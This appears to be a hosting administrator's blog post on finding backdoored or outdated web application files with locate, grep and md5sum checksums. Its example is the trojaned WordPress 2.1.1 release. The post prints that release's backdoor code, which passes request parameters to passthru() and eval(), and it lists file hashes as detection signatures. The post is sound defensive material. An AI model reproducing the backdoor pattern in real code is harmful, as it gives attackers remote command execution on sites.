Finding Backdoors Fast

A fast and simple way to find bad code, using WordPress 2.1.1 as an example.

Back in 2007 a server hosting the WordPress code was apparently broken into, leading to the trojaning of a few files:


408 function get_theme_mcommand($mcds) {
409     passthru($mcds);
410 }

441 if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }


84 function comment_text_phpfilter($filterdata) {
85     eval($filterdata);
86 }

149 if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }

What follows is a way to quickly find these backdoors, using a few simple commands like `updatedb`, `locate`, and `grep`.

First, we need to build a list of all the files on the filesystem, to include their absolute paths. This can be done via the `updatedb` command.

Note: the path to the file that stores this information will differ between some CentOS versions. Check the updatedb man page for the location of this file. If you're using a recent version of CentOS, you should see a reference to /var/lib/mlocate/mlocate.db.

[root@host ~]# updatedb

This may take more than few minutes depending on how many files exist on the filesystem.

Now we're ready to start looking for the theme.php and feed.php files using the `locate` command:

[root@host ~]# locate /theme.php | grep theme.php$

[root@host ~]# locate /feed.php | grep feed.php$

Now that we've found some files matching the names of the backdoored files in WordPress, we can start checking them for the trojans. We'll search for strings that don't exist in any other file in WordPress, like "get_theme_mcommand" and "comment_text_phpfilter":

[root@host ~]# grep get_theme_mcommand /home/alice/public_html/wordpress/theme.php
[root@host ~]#

[root@host ~]# grep comment_text_phpfilter /home/alice/public_html/wordpress/feed.php
[root@host ~]#

No matches. That's a good thing. However, bob wasn't so lucky:

[root@host ~]# grep get_theme_mcommand /home/bob/public_html/blog/theme.php
if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }

[root@host ~]# grep comment_text_phpfilter /home/bob/public_html/blog/feed.php
if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }

This could take a long time to do manually, depending on how many files named theme.php and feed.php are found, not to mention how many servers need to be checked. We can speed things up a bit by running locate and grep together:

[root@host ~]# locate /theme.php | grep theme.php$ | xargs grep -l get_theme_mcommand

A similar tactic can be done with checksums. Once on IRC someone mentioned that a customer just had their outdated phpBB installation hacked through a bug in the viewtopic.php file. I asked the guy if he could paste the output of the command "md5sum viewtopic.php". Within minutes I had found a customer of my own who had a vulnerable install:

[root@host ~]# locate /viewtopic.php | grep viewtopic.php$ | xargs md5sum | grep 941e9cd2f75030e9e3abe84901e7f699
941e9cd2f75030e9e3abe84901e7f699  /home/marie/public_html/phpBB/viewtopic.php

Using checksums is a very flawed way to look for things, because it requires that the file be completely unchanged. Otherwise, the checksum will differ. This automatically excludes files that require being written to, such as WordPress's wp-config.php file. However, this can be an effective method which I've successfully used a number of times to help keep spammers out of our servers. Here's a few files as an example:

54dbbd5627ce9d5e4540f6f0d56ca188  send_reminders.php             # WebCalendar
df529e9f2c052371a808c8d0b0c8c1f2  index.php                      # pagedb script
ac7757580ea83c34cea2dc15c42e4987  index.php                      # pagedb script
ac2ccdc0ca809bb805031076b749c953  xmlrpc.php                     # unknown xmlrpc script
ad568e80f9e23eb6327948d4dc55a09f                     # unknown xmlrpc script
941e9cd2f75030e9e3abe84901e7f699  viewtopic.php                  # phpBB 2.0.10
aa21e6b756e0611d4bb1dd12b76aa776  viewtopic.php                  # phpBB
3e05cc6425f7b49d5f3b9e2235e577b7  index.php                      # Zen Cart @version $Id: index.php 2942 2006-02-02 04:41:23Z drbyte $
22e791e0b96e677edc6aa456d7b1162f  BlackList.Examine.class.php    # GeekLog
6ddb18ef0c75bffbee55e786067dfa2f  admin_events.php               # ExtCalendar v2
08eb32554845f8f9306fdde5ed9ad4e5  cart_content.php               # SquirrelCart
32d242adb1c3c238287c234b5efbcda9  join.php                       # Aardvark Topsites
9b374b99601b8b25e673a36c19d0eb8a  lostpw.php                     # Aardvark Topsites
04d80db0e49e8b1383e77915daa1cf0c           # CubeCart
b2e4ece44b033d68346ab71e1e3f6df7  aedating4CMS.php               # FlashChat
f198a247dda93325fe371b4de974d772  plugin.class.php               # Joomla Plugin Handler - @version $Id: plugin.class.php 354 2006-08-05 10:41:29Z beat $
69b73df4022a627c415c591d08e1ab7f  mod_mainmenu.php               # Joomla - @version $Id: mod_mainmenu.php 2437 2006-02-17 10:37:36Z stingrey $
dba495f10c82d3c9d1fa798257c48a27  index.php                      # @version $Id: index.php 2578 2006-02-23 19:10:07Z stingrey $
76be4c737295030a90f5d554b1c687f2  feed.php                       # WordPress 2.1.1 backdoor
2aa5e7dbfb354dce6e407c43b3db8f41  theme.php                      # WordPress 2.1.1 backdoor

If you start tracking known vulnerable files each time a customer gets hacked, you can put together a script that uses the `updatedb` and `locate` commands to automatically detect these things and notifies you of such.

There is something similar to this, but uses better methods for detecting outdated scripts. I first saw it posted on the cPanel forums. I've played with it some, but never actually used it on a production server. It's closed source (though trivial to reverse). It's called Old Script Finder and can be found here.